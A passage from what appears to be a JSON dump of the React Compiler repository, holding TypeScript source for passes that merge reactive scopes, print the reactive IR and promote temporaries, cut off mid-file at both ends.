instr.scope.range.end),\n            );\n            // Add declarations\n            for (const [key, value] of instr.scope.declarations) {\n              current.block.scope.declarations.set(key, value);\n            }\n            /*\n             * Then prune declarations - this removes declarations from the earlier\n             * scope that are last-used at or before the newly merged subsequent scope\n             */\n            updateScopeDeclarations(current.block.scope, this.lastUsage);\n            current.to = i + 1;\n            /*\n             * We already checked that intermediate values were used at-or-before the merged\n             * scoped, so we can reset\n             */\n            current.lvalues.clear();\n\n            if (!scopeIsEligibleForMerging(instr)) {\n              /*\n               * The subsequent scope that we just merged isn't guaranteed to invalidate if its\n               * inputs change, so it is not a candidate for future merging\n               */\n              log(\n                `  but scope @${instr.scope.id} doesnt guaranteed invalidate so it cannot merge further`,\n              );\n              reset();\n            }\n          } else {\n            // No previous scope, or the scope cannot merge\n            if (current !== null) {\n              // Reset if necessary\n              log(\n                `Reset scope @${current.block.scope.id}, not mergeable with subsequent scope @${instr.scope.id}`,\n              );\n              reset();\n            }\n            // Only set a new merge candidate if the scope is guaranteed to invalidate on changes\n            if (scopeIsEligibleForMerging(instr)) {\n              current = {\n                block: instr,\n                from: i,\n                to: i + 1,\n                lvalues: new Set(),\n              };\n            } else {\n              log(\n                `scope @${instr.scope.id} doesnt guaranteed invalidate so it cannot merge further`,\n              );\n            }\n          }\n          break;\n        }\n        default: {\n          assertExhaustive(\n            instr,\n            `Unexpected instruction kind \\`${(instr as any).kind}\\``,\n          );\n        }\n      }\n    }\n    if (current !== null) {\n      reset();\n    }\n    if (merged.length) {\n      log(`merged ${merged.length} scopes:`);\n      for (const entry of merged) {\n        log(\n          printReactiveScopeSummary(entry.block.scope) +\n            ` from=${entry.from} to=${entry.to}`,\n        );\n      }\n    }\n\n    // Pass 3: optional: if scopes can be merged, merge them and update the block\n    if (merged.length === 0) {\n      // Nothing merged, nothing to do!\n      return;\n    }\n    const nextInstructions = [];\n    let index = 0;\n    for (const entry of merged) {\n      if (index < entry.from) {\n        nextInstructions.push(...block.slice(index, entry.from));\n        index = entry.from;\n      }\n      const mergedScope = block[entry.from]!;\n      CompilerError.invariant(mergedScope.kind === 'scope', {\n        reason:\n          'MergeConsecutiveScopes: Expected scope starting index to be a scope',\n        loc: GeneratedSource,\n      });\n      nextInstructions.push(mergedScope);\n      index++;\n      while (index < entry.to) {\n        const instr = block[index++]!;\n        if (instr.kind === 'scope') {\n          mergedScope.instructions.push(...instr.instructions);\n          mergedScope.scope.merged.add(instr.scope.id);\n        } else {\n          mergedScope.instructions.push(instr);\n        }\n      }\n    }\n    while (index < block.length) {\n      nextInstructions.push(block[index++]!);\n    }\n    block.length = 0;\n    block.push(...nextInstructions);\n  }\n}\n\n/*\n * Updates @param scope's declarations to remove any declarations that are not\n * used after the scope, based on the scope's updated range post-merging.\n */\nfunction updateScopeDeclarations(\n  scope: ReactiveScope,\n  lastUsage: Map<DeclarationId, InstructionId>,\n): void {\n  for (const [id, decl] of scope.declarations) {\n    const lastUsedAt = lastUsage.get(decl.identifier.declarationId)!;\n    if (lastUsedAt < scope.range.end) {\n      scope.declarations.delete(id);\n    }\n  }\n}\n\n/*\n * Returns whether the given @param scope is the last usage of all\n * the given @param lvalues. Returns false if any of the lvalues\n * are used again after the scope.\n */\nfunction areLValuesLastUsedByScope(\n  scope: ReactiveScope,\n  lvalues: Set<DeclarationId>,\n  lastUsage: Map<DeclarationId, InstructionId>,\n): boolean {\n  for (const lvalue of lvalues) {\n    const lastUsedAt = lastUsage.get(lvalue)!;\n    if (lastUsedAt >= scope.range.end) {\n      log(`  lvalue ${lvalue} used after scope @${scope.id}, cannot merge`);\n      return false;\n    }\n  }\n  return true;\n}\n\nfunction canMergeScopes(\n  current: ReactiveScopeBlock,\n  next: ReactiveScopeBlock,\n  temporaries: Map<DeclarationId, DeclarationId>,\n): boolean {\n  // Don't merge scopes with reassignments\n  if (\n    current.scope.reassignments.size !== 0 ||\n    next.scope.reassignments.size !== 0\n  ) {\n    log(`  cannot merge, has reassignments`);\n    return false;\n  }\n  // Merge scopes whose dependencies are identical\n  if (\n    areEqualDependencies(current.scope.dependencies, next.scope.dependencies)\n  ) {\n    log(`  canMergeScopes: dependencies are equal`);\n    return true;\n  }\n  /*\n   * Merge scopes where the outputs of the previous scope are the inputs\n   * of the subsequent scope. Note that the output of a scope is not\n   * guaranteed to change when its inputs change, for example `foo(x)`\n   * may not change when `x` changes, for example `foo(x) { return x < 10}`\n   * will not change as x changes from 0 -> 1.\n   * Therefore we check that the outputs of the previous scope are of a type\n   * that is guaranteed to invalidate with its inputs, and only merge in this case.\n   */\n  if (\n    areEqualDependencies(\n      new Set(\n        [...current.scope.declarations.values()].map(declaration => ({\n          identifier: declaration.identifier,\n          reactive: true,\n          path: [],\n          loc: GeneratedSource,\n        })),\n      ),\n      next.scope.dependencies,\n    ) ||\n    (next.scope.dependencies.size !== 0 &&\n      [...next.scope.dependencies].every(\n        dep =>\n          dep.path.length === 0 &&\n          isAlwaysInvalidatingType(dep.identifier.type) &&\n          Iterable_some(\n            current.scope.declarations.values(),\n            decl =>\n              decl.identifier.declarationId === dep.identifier.declarationId ||\n              decl.identifier.declarationId ===\n                temporaries.get(dep.identifier.declarationId),\n          ),\n      ))\n  ) {\n    log(`  outputs of prev are input to current`);\n    return true;\n  }\n  log(`  cannot merge scopes:`);\n  log(\n    `  ${printReactiveScopeSummary(current.scope)} ${[...current.scope.declarations.values()].map(decl => decl.identifier.declarationId)}`,\n  );\n  log(\n    `  ${printReactiveScopeSummary(next.scope)} ${[...next.scope.dependencies].map(dep => `${dep.identifier.declarationId} ${temporaries.get(dep.identifier.declarationId) ?? dep.identifier.declarationId}`)}`,\n  );\n  return false;\n}\n\nexport function isAlwaysInvalidatingType(type: Type): boolean {\n  switch (type.kind) {\n    case 'Object': {\n      switch (type.shapeId) {\n        case BuiltInArrayId:\n        case BuiltInObjectId:\n        case BuiltInFunctionId:\n        case BuiltInJsxId: {\n          return true;\n        }\n      }\n      break;\n    }\n    case 'Function': {\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction areEqualDependencies(\n  a: Set<ReactiveScopeDependency>,\n  b: Set<ReactiveScopeDependency>,\n): boolean {\n  if (a.size !== b.size) {\n    return false;\n  }\n  for (const aValue of a) {\n    let found = false;\n    for (const bValue of b) {\n      if (\n        aValue.identifier.declarationId === bValue.identifier.declarationId &&\n        areEqualPaths(aValue.path, bValue.path)\n      ) {\n        found = true;\n        break;\n      }\n    }\n    if (!found) {\n      return false;\n    }\n  }\n  return true;\n}\n\n/**\n * Is this scope eligible for merging with subsequent scopes? In general this\n * is only true if the scope's output values are guaranteed to change when its\n * input changes. When the output may not change, it's better to avoid merging\n * with subsequent scopes so that they can compare the input and avoid updating\n * when there are no changes.\n *\n * A special-case is if the scope has no dependencies, then its output will\n * *never* change and it's also eligible for merging.\n */\nfunction scopeIsEligibleForMerging(scopeBlock: ReactiveScopeBlock): boolean {\n  if (scopeBlock.scope.dependencies.size === 0) {\n    /*\n     * Regardless of the type of value produced, if the scope has no dependencies\n     * then its value will never change.\n     */\n    return true;\n  }\n  return [...scopeBlock.scope.declarations].some(([, decl]) =>\n    isAlwaysInvalidatingType(decl.identifier.type),\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PrintReactiveFunction.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  GeneratedSource,\n  PrunedReactiveScopeBlock,\n  ReactiveFunction,\n  ReactiveScope,\n  ReactiveScopeBlock,\n  ReactiveScopeDependency,\n  ReactiveStatement,\n  ReactiveTerminal,\n  ReactiveValue,\n} from '../HIR/HIR';\nimport {\n  printFunction,\n  printIdentifier,\n  printInstructionValue,\n  printPlace,\n  printSourceLocation,\n  printType,\n} from '../HIR/PrintHIR';\nimport {assertExhaustive} from '../Utils/utils';\n\nexport function printReactiveFunctionWithOutlined(\n  fn: ReactiveFunction,\n): string {\n  const writer = new Writer();\n  writeReactiveFunction(fn, writer);\n  for (const outlined of fn.env.getOutlinedFunctions()) {\n    writer.writeLine('\\nfunction ' + printFunction(outlined.fn));\n  }\n  return writer.complete();\n}\n\nexport function printReactiveFunction(fn: ReactiveFunction): string {\n  const writer = new Writer();\n  writeReactiveFunction(fn, writer);\n  return writer.complete();\n}\n\nfunction writeReactiveFunction(fn: ReactiveFunction, writer: Writer): void {\n  writer.writeLine(`function ${fn.id !== null ? fn.id : '<unknown>'}(`);\n  writer.indented(() => {\n    for (const param of fn.params) {\n      if (param.kind === 'Identifier') {\n        writer.writeLine(`${printPlace(param)},`);\n      } else {\n        writer.writeLine(`...${printPlace(param.place)},`);\n      }\n    }\n  });\n  writer.writeLine(') {');\n  writeReactiveInstructions(writer, fn.body);\n  writer.writeLine('}');\n}\n\nexport function printReactiveScopeSummary(scope: ReactiveScope): string {\n  const items = [];\n  // If the scope has a return value it needs a label\n  items.push('scope');\n  items.push(`@${scope.id}`);\n  items.push(`[${scope.range.start}:${scope.range.end}]`);\n  items.push(\n    `dependencies=[${Array.from(scope.dependencies)\n      .map(dep => printDependency(dep))\n      .join(', ')}]`,\n  );\n  items.push(\n    `declarations=[${Array.from(scope.declarations)\n      .map(([, decl]) =>\n        printIdentifier({...decl.identifier, scope: decl.scope}),\n      )\n      .join(', ')}]`,\n  );\n  items.push(\n    `reassignments=[${Array.from(scope.reassignments).map(reassign =>\n      printIdentifier(reassign),\n    )}]`,\n  );\n  if (scope.earlyReturnValue !== null) {\n    items.push(\n      `earlyReturn={id: ${printIdentifier(\n        scope.earlyReturnValue.value,\n      )}, label: ${scope.earlyReturnValue.label}}}`,\n    );\n  }\n  return items.join(' ');\n}\n\nexport function writeReactiveBlock(\n  writer: Writer,\n  block: ReactiveScopeBlock,\n): void {\n  writer.writeLine(`${printReactiveScopeSummary(block.scope)} {`);\n  writeReactiveInstructions(writer, block.instructions);\n  writer.writeLine('}');\n}\n\nexport function writePrunedScope(\n  writer: Writer,\n  block: PrunedReactiveScopeBlock,\n): void {\n  writer.writeLine(`<pruned> ${printReactiveScopeSummary(block.scope)} {`);\n  writeReactiveInstructions(writer, block.instructions);\n  writer.writeLine('}');\n}\n\nexport function printDependency(dependency: ReactiveScopeDependency): string {\n  const identifier =\n    printIdentifier(dependency.identifier) +\n    printType(dependency.identifier.type);\n  return `${identifier}${dependency.path.map(token => `${token.optional ? '?.' : '.'}${token.property}`).join('')}_${printSourceLocation(dependency.loc)}`;\n}\n\nexport function printReactiveInstructions(\n  instructions: Array<ReactiveStatement>,\n): string {\n  const writer = new Writer();\n  writeReactiveInstructions(writer, instructions);\n  return writer.complete();\n}\n\nexport function writeReactiveInstructions(\n  writer: Writer,\n  instructions: Array<ReactiveStatement>,\n): void {\n  writer.indented(() => {\n    for (const instr of instructions) {\n      writeReactiveInstruction(writer, instr);\n    }\n  });\n}\n\nfunction writeReactiveInstruction(\n  writer: Writer,\n  instr: ReactiveStatement,\n): void {\n  switch (instr.kind) {\n    case 'instruction': {\n      const {instruction} = instr;\n      const id = `[${instruction.id}]`;\n\n      if (instruction.lvalue !== null) {\n        writer.write(`${id} ${printPlace(instruction.lvalue)} = `);\n        writeReactiveValue(writer, instruction.value);\n        writer.newline();\n      } else {\n        writer.write(`${id} `);\n        writeReactiveValue(writer, instruction.value);\n        writer.newline();\n      }\n      break;\n    }\n    case 'scope': {\n      writeReactiveBlock(writer, instr);\n      break;\n    }\n    case 'pruned-scope': {\n      writePrunedScope(writer, instr);\n      break;\n    }\n    case 'terminal': {\n      if (instr.label !== null) {\n        writer.write(`bb${instr.label.id}: `);\n      }\n      writeTerminal(writer, instr.terminal);\n      break;\n    }\n    default: {\n      assertExhaustive(\n        instr,\n        `Unexpected terminal kind \\`${(instr as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function printReactiveValue(value: ReactiveValue): string {\n  const writer = new Writer();\n  writeReactiveValue(writer, value);\n  return writer.complete();\n}\n\nfunction writeReactiveValue(writer: Writer, value: ReactiveValue): void {\n  switch (value.kind) {\n    case 'ConditionalExpression': {\n      writer.writeLine(`Ternary `);\n      writer.indented(() => {\n        writeReactiveValue(writer, value.test);\n        writer.writeLine(`? `);\n        writer.indented(() => {\n          writeReactiveValue(writer, value.consequent);\n        });\n        writer.writeLine(`: `);\n        writer.indented(() => {\n          writeReactiveValue(writer, value.alternate);\n        });\n      });\n      writer.newline();\n      break;\n    }\n    case 'LogicalExpression': {\n      writer.writeLine(`Logical`);\n      writer.indented(() => {\n        writeReactiveValue(writer, value.left);\n        writer.write(`${value.operator} `);\n        writeReactiveValue(writer, value.right);\n      });\n      writer.newline();\n      break;\n    }\n    case 'SequenceExpression': {\n      writer.writeLine(`Sequence`);\n      writer.indented(() => {\n        writer.indented(() => {\n          value.instructions.forEach(instr =>\n            writeReactiveInstruction(writer, {\n              kind: 'instruction',\n              instruction: instr,\n            }),\n          );\n          writer.write(`[${value.id}] `);\n          writeReactiveValue(writer, value.value);\n        });\n      });\n      writer.newline();\n      break;\n    }\n    case 'OptionalExpression': {\n      writer.append(`OptionalExpression optional=${value.optional}`);\n      writer.newline();\n      writer.indented(() => {\n        writeReactiveValue(writer, value.value);\n      });\n      writer.newline();\n      break;\n    }\n    default: {\n      const printed = printInstructionValue(value);\n      const lines = printed.split('\\n');\n      if (lines.length === 1) {\n        writer.writeLine(printed);\n      } else {\n        writer.indented(() => {\n          for (const line of lines) {\n            writer.writeLine(line);\n          }\n        });\n      }\n    }\n  }\n}\n\nexport function printReactiveTerminal(terminal: ReactiveTerminal): string {\n  const writer = new Writer();\n  writeTerminal(writer, terminal);\n  return writer.complete();\n}\n\nfunction writeTerminal(writer: Writer, terminal: ReactiveTerminal): void {\n  switch (terminal.kind) {\n    case 'break': {\n      const id = terminal.id !== null ? `[${terminal.id}]` : [];\n      writer.writeLine(\n        `${id} break bb${terminal.target} (${terminal.targetKind})`,\n      );\n\n      break;\n    }\n    case 'continue': {\n      const id = `[${terminal.id}]`;\n      writer.writeLine(\n        `${id} continue bb${terminal.target} (${terminal.targetKind})`,\n      );\n      break;\n    }\n    case 'do-while': {\n      writer.writeLine(`[${terminal.id}] do-while {`);\n      writeReactiveInstructions(writer, terminal.loop);\n      writer.writeLine('} (');\n      writer.indented(() => {\n        writeReactiveValue(writer, terminal.test);\n      });\n      writer.writeLine(')');\n      break;\n    }\n    case 'while': {\n      writer.writeLine(`[${terminal.id}] while (`);\n      writer.indented(() => {\n        writeReactiveValue(writer, terminal.test);\n      });\n      writer.writeLine(') {');\n      writeReactiveInstructions(writer, terminal.loop);\n      writer.writeLine('}');\n      break;\n    }\n    case 'if': {\n      const {test, consequent, alternate} = terminal;\n      writer.writeLine(`[${terminal.id}] if (${printPlace(test)}) {`);\n      writeReactiveInstructions(writer, consequent);\n      if (alternate !== null) {\n        writer.writeLine('} else {');\n        writeReactiveInstructions(writer, alternate);\n      }\n      writer.writeLine('}');\n      break;\n    }\n    case 'switch': {\n      writer.writeLine(\n        `[${terminal.id}] switch (${printPlace(terminal.test)}) {`,\n      );\n      writer.indented(() => {\n        for (const case_ of terminal.cases) {\n          let prefix =\n            case_.test !== null ? `case ${printPlace(case_.test)}` : 'default';\n          writer.writeLine(`${prefix}: {`);\n          writer.indented(() => {\n            const block = case_.block;\n            CompilerError.invariant(block != null, {\n              reason: 'Expected case to have a block',\n              loc: case_.test?.loc ?? GeneratedSource,\n            });\n            writeReactiveInstructions(writer, block);\n          });\n          writer.writeLine('}');\n        }\n      });\n      writer.writeLine('}');\n      break;\n    }\n    case 'for': {\n      writer.writeLine(`[${terminal.id}] for (`);\n      writer.indented(() => {\n        writeReactiveValue(writer, terminal.init);\n        writer.writeLine(';');\n        writeReactiveValue(writer, terminal.test);\n        writer.writeLine(';');\n        if (terminal.update !== null) {\n          writeReactiveValue(writer, terminal.update);\n        }\n      });\n      writer.writeLine(') {');\n      writeReactiveInstructions(writer, terminal.loop);\n      writer.writeLine('}');\n      break;\n    }\n    case 'for-of': {\n      writer.writeLine(`[${terminal.id}] for-of (`);\n      writer.indented(() => {\n        writeReactiveValue(writer, terminal.init);\n        writer.writeLine(';');\n        writeReactiveValue(writer, terminal.test);\n      });\n      writer.writeLine(') {');\n      writeReactiveInstructions(writer, terminal.loop);\n      writer.writeLine('}');\n      break;\n    }\n    case 'for-in': {\n      writer.writeLine(`[${terminal.id}] for-in (`);\n      writer.indented(() => {\n        writeReactiveValue(writer, terminal.init);\n      });\n      writer.writeLine(') {');\n      writeReactiveInstructions(writer, terminal.loop);\n      writer.writeLine('}');\n      break;\n    }\n    case 'throw': {\n      writer.writeLine(`[${terminal.id}] throw ${printPlace(terminal.value)}`);\n      break;\n    }\n    case 'return': {\n      writer.writeLine(`[${terminal.id}] return ${printPlace(terminal.value)}`);\n      break;\n    }\n    case 'label': {\n      writer.writeLine('{');\n      writeReactiveInstructions(writer, terminal.block);\n      writer.writeLine('}');\n      break;\n    }\n    case 'try': {\n      writer.writeLine(`[${terminal.id}] try {`);\n      writeReactiveInstructions(writer, terminal.block);\n      writer.write(`} catch `);\n      if (terminal.handlerBinding !== null) {\n        writer.writeLine(`(${printPlace(terminal.handlerBinding)}) {`);\n      } else {\n        writer.writeLine(`{`);\n      }\n      writeReactiveInstructions(writer, terminal.handler);\n      writer.writeLine('}');\n      break;\n    }\n    default:\n      assertExhaustive(\n        terminal,\n        `Unhandled terminal kind \\`${(terminal as any).kind}\\``,\n      );\n  }\n}\n\nexport class Writer {\n  #out: Array<string> = [];\n  #line: string;\n  #depth: number;\n\n  constructor({depth}: {depth: number} = {depth: 0}) {\n    this.#depth = Math.max(depth, 0);\n    this.#line = '';\n  }\n\n  complete(): string {\n    const line = this.#line.trimEnd();\n    if (line.length > 0) {\n      this.#out.push(line);\n    }\n    return this.#out.join('\\n');\n  }\n\n  append(s: string): void {\n    this.write(s);\n  }\n\n  newline(): void {\n    const line = this.#line.trimEnd();\n    if (line.length > 0) {\n      this.#out.push(line);\n    }\n    this.#line = '';\n  }\n\n  write(s: string): void {\n    if (this.#line.length === 0 && this.#depth > 0) {\n      // indent before writing\n      this.#line = '  '.repeat(this.#depth);\n    }\n    this.#line += s;\n  }\n\n  writeLine(s: string): void {\n    this.write(s);\n    this.newline();\n  }\n\n  indented(f: () => void): void {\n    this.#depth++;\n    f();\n    this.#depth--;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PromoteUsedTemporaries.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {GeneratedSource} from '../HIR';\nimport {\n  DeclarationId,\n  Identifier,\n  InstructionId,\n  Place,\n  PrunedReactiveScopeBlock,\n  ReactiveFunction,\n  ReactiveScope,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  ReactiveValue,\n  ScopeId,\n  SpreadPattern,\n  promoteTemporary,\n  promoteTemporaryJsxTag,\n  IdentifierId,\n} from '../HIR/HIR';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\nimport {eachInstructionValueLValue, eachPatternOperand} from '../HIR/visitors';\n\n/**\n * Phase 2: Promote identifiers which are used in a place that requires a named variable.\n */\nclass PromoteTemporaries extends ReactiveFunctionVisitor<State> {\n  override visitScope(scopeBlock: ReactiveScopeBlock, state: State): void {\n    for (const dep of scopeBlock.scope.dependencies) {\n      const {identifier} = dep;\n      if (identifier.name == null) {\n        promoteIdentifier(identifier, state);\n      }\n    }\n    /*\n     * This is technically optional. We could prune ReactiveScopes\n     * whose outputs are not used in another computation or return\n     * value.\n     * Many of our current test fixtures do not return a value, so\n     * it is better for now to promote (and memoize) every output.\n     */\n    for (const [, declaration] of scopeBlock.scope.declarations) {\n      if (declaration.identifier.name == null) {\n        promoteIdentifier(declaration.identifier, state);\n      }\n    }\n    this.traverseScope(scopeBlock, state);\n  }\n\n  override visitPrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: State,\n  ): void {\n    for (const [, declaration] of scopeBlock.scope.declarations) {\n      if (\n        declaration.identifier.name == null &&\n        state.pruned.get(declaration.identifier.declarationId)\n          ?.usedOutsideScope === true\n      ) {\n        promoteIdentifier(declaration.identifier, state);\n      }\n    }\n    this.traversePrunedScope(scopeBlock, state);\n  }\n\n  override visitParam(place: Place, state: State): void {\n    if (place.identifier.name === null) {\n      promoteIdentifier(place.identifier, state);\n    }\n  }\n\n  override visitValue(\n    id: InstructionId,\n    value: ReactiveValue,\n    state: State,\n  ): void {\n    this.traverseValue(id, value, state);\n    if (value.kind === 'FunctionExpression' || value.kind === 'ObjectMethod') {\n      this.visitHirFunction(value.loweredFunc.func, state);\n    }\n  }\n\n  override visitReactiveFunctionValue(\n    _id: InstructionId,\n    _dependencies: Array<Place>,\n    fn: ReactiveFunction,\n    state: State,\n  ): void {\n    for (const operand of fn.params) {\n      const place = operand.kind === 'Identifier' ? operand : operand.place;\n      if (place.identifier.name === null) {\n        promoteIdentifier(place.identifier, state);\n      }\n    }\n    visitReactiveFunction(fn, this, state);\n  }\n}\n\n/**\n * Phase 3: Now that identifiers which need promotion are promoted, find and promote\n * all other Identifier instances of each promoted DeclarationId.\n */\nclass PromoteAllInstancedOfPromotedTemporaries extends ReactiveFunctionVisitor<State> {\n  override visitPlace(_id: InstructionId, place: Place, state: State): void {\n    if (\n      place.identifier.name === null &&\n      state.promoted.has(place.identifier.declarationId)\n    ) {\n      promoteIdentifier(place.identifier, state);\n    }\n  }\n  override visitLValue(\n    _id: InstructionId,\n    _lvalue: Place,\n    _state: State,\n  ): void {\n    this.visitPlace(_id, _lvalue, _state);\n  }\n  traverseScopeIdentifiers(scope: ReactiveScope, state: State): void {\n    for (const [, decl] of scope.declarations) {\n      if (\n        decl.identifier.name === null &&\n        state.promoted.has(decl.identifier.declarationId)\n      ) {\n        promoteIdentifier(decl.identifier, state);\n      }\n    }\n    for (const dep of scope.dependencies) {\n      if (\n        dep.identifier.name === null &&\n        state.promoted.has(dep.identifier.declarationId)\n      ) {\n        promoteIdentifier(dep.identifier, state);\n      }\n    }\n    for (const reassignment of scope.reassignments) {\n      if (\n        reassignment.name === null &&\n        state.promoted.has(reassignment.declarationId)\n      ) {\n        promoteIdentifier(reassignment, state);\n      }\n    }\n  }\n  override visitScope(scope: ReactiveScopeBlock, state: State): void {\n    this.traverseScope(scope, state);\n    this.traverseScopeIdentifiers(scope.scope, state);\n  }\n  override visitPrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: State,\n  ): void {\n    this.traversePrunedScope(scopeBlock, state);\n    this.traverseScopeIdentifiers(scopeBlock.scope, state);\n  }\n  override visitReactiveFunctionValue(\n    _id: InstructionId,\n    _dependencies: Array<Place>,\n    fn: ReactiveFunction,\n    state: State,\n  ): void {\n    visitReactiveFunction(fn, this, state);\n  }\n}\n\ntype JsxExpressionTags = Set<DeclarationId>;\ntype State = {\n  tags: JsxExpressionTags;\n  promoted: Set<DeclarationId>;\n  pruned: Map<\n    DeclarationId,\n    {activeScopes: Array<ScopeId>; usedOutsideScope: boolean}\n  >; // true if referenced within another scope, false if only accessed outside of scopes\n};\n\n/**\n * Phase 1: checks for pruned variables which need to be promoted, as well as\n * usage of identifiers as jsx tags, which need to be promoted differently\n */\nclass CollectPromotableTemporaries extends ReactiveFunctionVisitor<State> {\n  activeScopes: Array<ScopeId> = [];\n\n  override visitPlace(_id: InstructionId, place: Place, state: State): void {\n    if (\n      this.activeScopes.length !== 0 &&\n      state.pruned.has(place.identifier.declarationId)\n    ) {\n      const prunedPlace = state.pruned.get(place.identifier.declarationId)!;\n      if (prunedPlace.activeScopes.indexOf(this.activeScopes.at(-1)!) === -1) {\n        prunedPlace.usedOutsideScope = true;\n      }\n    }\n  }\n\n  override visitValue(\n    id: InstructionId,\n    value: ReactiveValue,\n    state: State,\n  ): void {\n    this.traverseValue(id, value, state);\n    if (value.kind === 'JsxExpression' && value.tag.kind === 'Identifier') {\n      state.tags.add(value.tag.identifier.declarationId);\n    }\n  }\n\n  override visitPrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: State,\n  ): void {\n    for (const [_id, decl] of scopeBlock.scope.declarations) {\n      state.pruned.set(decl.identifier.declarationId, {\n        activeScopes: [...this.activeScopes],\n        usedOutsideScope: false,\n      });\n    }\n    this.visitBlock(scopeBlock.instructions, state);\n  }\n\n  override visitScope(scopeBlock: ReactiveScopeBlock, state: State): void {\n    this.activeScopes.push(scopeBlock.scope.id);\n    this.traverseScope(scopeBlock, state);\n    this.activeScopes.pop();\n  }\n}\n\ntype InterState = Map<IdentifierId, [Identifier, boolean]>;\nclass PromoteInterposedTemporaries extends ReactiveFunctionVisitor<InterState> {\n  #promotable: State;\n  #consts: Set<IdentifierId> = new Set();\n  #globals: Set<IdentifierId> = new Set();\n\n  /*\n   * Unpromoted temporaries will be emitted at their use sites rather than as separate\n   * declarations. However, this causes errors if an interposing temporary has been\n   * promoted, or if an interposing instruction has had its lvalues deleted, because such\n   * temporaries will be emitted as separate statements, which can effectively cause\n   * code to be reordered, and when that code has side effects that changes program behavior.\n   * This visitor promotes temporarties that have such interposing instructions to preserve\n   * source ordering.\n   */\n  constructor(promotable: State, params: Array<Place | SpreadPattern>) {\n    super();\n    params.forEach(param => {\n      switch (param.kind) {\n        case 'Identifier':\n          this.#consts.add(param.identifier.id);\n          break;\n        case 'Spread':\n          this.#consts.add(param.place.identifier.id);\n          break;\n      }\n    });\n    this.#promotable = promotable;\n  }\n\n  override visitPlace(\n    _id: InstructionId,\n    place: Place,\n    state: InterState,\n  ): void {\n    const promo = state.get(place.identifier.id);\n    if (promo) {\n      const [identifier, needsPromotion] = promo;\n      if (\n        needsPromotion &&\n        identifier.name === null &&\n        !this.#consts.has(identifier.id)\n      ) {\n        /*\n         * If the identifier hasn't been promoted but is marked as needing\n         * promotion by the logic in `visitInstruction`, and we've seen a\n         * use of it after said marking, promote it\n         */\n        promoteIdentifier(identifier, this.#promotable);\n      }\n    }\n  }\n\n  override visitInstruction(\n    instruction: ReactiveInstruction,\n    state: InterState,\n  ): void {\n    for (const lval of eachInstructionValueLValue(instruction.value)) {\n      CompilerError.invariant(lval.identifier.name != null, {\n        reason:\n          'PromoteInterposedTemporaries: Assignment targets not expected to be temporaries',\n        loc: instruction.loc,\n      });\n    }\n\n    switch (instruction.value.kind) {\n      case 'CallExpression':\n      case 'MethodCall':\n      case 'Await':\n      case 'PropertyStore':\n      case 'PropertyDelete':\n      case 'ComputedStore':\n      case 'ComputedDelete':\n      case 'PostfixUpdate':\n      case 'PrefixUpdate':\n      case 'StoreLocal':\n      case 'StoreContext':\n      case 'StoreGlobal':\n      case 'Destructure': {\n        let constStore = false;\n\n        if (\n          (instruction.value.kind === 'StoreContext' ||\n            instruction.value.kind === 'StoreLocal') &&\n          (instruction.value.lvalue.kind === 'Const' ||\n            instruction.value.lvalue.kind === 'HoistedConst')\n        ) {\n          /*\n           * If an identifier is const, we don't need to worry about it\n           * being mutated between being loaded and being used\n           */\n          this.#consts.add(instruction.value.lvalue.place.identifier.id);\n          constStore = true;\n        }\n        if (\n          instruction.value.kind === 'Destructure' &&\n          (instruction.value.lvalue.kind === 'Const' ||\n            instruction.value.lvalue.kind === 'HoistedConst')\n        ) {\n          [...eachPatternOperand(instruction.value.lvalue.pattern)].forEach(\n            ident => this.#consts.add(ident.identifier.id),\n          );\n          constStore = true;\n        }\n        if (instruction.value.kind === 'MethodCall') {\n          // Treat property of method call as constlike so we don't promote it.\n          this.#consts.add(instruction.value.property.identifier.id);\n        }\n\n        super.visitInstruction(instruction, state);\n        if (\n          !constStore &&\n          (instruction.lvalue == null ||\n            instruction.lvalue.identifier.name != null)\n        ) {\n          /*\n           * If we've stripped the lvalue or promoted the lvalue, then we will emit this instruction\n           * as a statement in codegen.\n           *\n           * If this instruction will be emitted directly as a statement rather than as a temporary\n           * during codegen, then it can interpose between the defs and the uses of other temporaries.\n           * Since this instruction could potentially mutate those defs, it's not safe to relocate\n           * the definition of those temporaries to after this instruction. Mark all those temporaries\n           * as needing promotion, but don't promote them until we actually see them being used.\n           */\n          for (const [key, [ident, _]] of state.entries()) {\n            state.set(key, [ident, true]);\n          }\n        }\n        if (instruction.lvalue && instruction.lvalue.identifier.name === null) {\n          // Add this instruction's lvalue to the state, initially not marked as needing promotion\n          state.set(instruction.lvalue.identifier.id, [\n            instruction.lvalue.identifier,\n            false,\n          ]);\n        }\n        break;\n      }\n      case 'DeclareContext':\n      case 'DeclareLocal': {\n        if (\n          instruction.value.lvalue.kind === 'Const' ||\n          instruction.value.lvalue.kind === 'HoistedConst'\n        ) {\n          this.#consts.add(instruction.value.lvalue.place.identifier.id);\n        }\n        super.visitInstruction(instruction, state);\n        break;\n      }\n      case 'LoadContext':\n      case 'LoadLocal': {\n        if (instruction.lvalue && instruction.lvalue.identifier.name === null) {\n          if (this.#consts.has(instruction.value.place.identifier.id)) {\n            this.#consts.add(instruction.lvalue.identifier.id);\n          }\n          state.set(instruction.lvalue.identifier.id, [\n            instruction.lvalue.identifier,\n            false,\n          ]);\n        }\n        super.visitInstruction(instruction, state);\n        break;\n      }\n      case 'PropertyLoad':\n      case 'ComputedLoad': {\n        if (instruction.lvalue) {\n          if (this.#globals.has(instruction.value.object.identifier.id)) {\n            this.#globals.add(instruction.lvalue.identifier.id);\n            this.#consts.add(instruction.lvalue.identifier.id);\n          }\n          if (instruction.lvalue.identifier.name === null) {\n            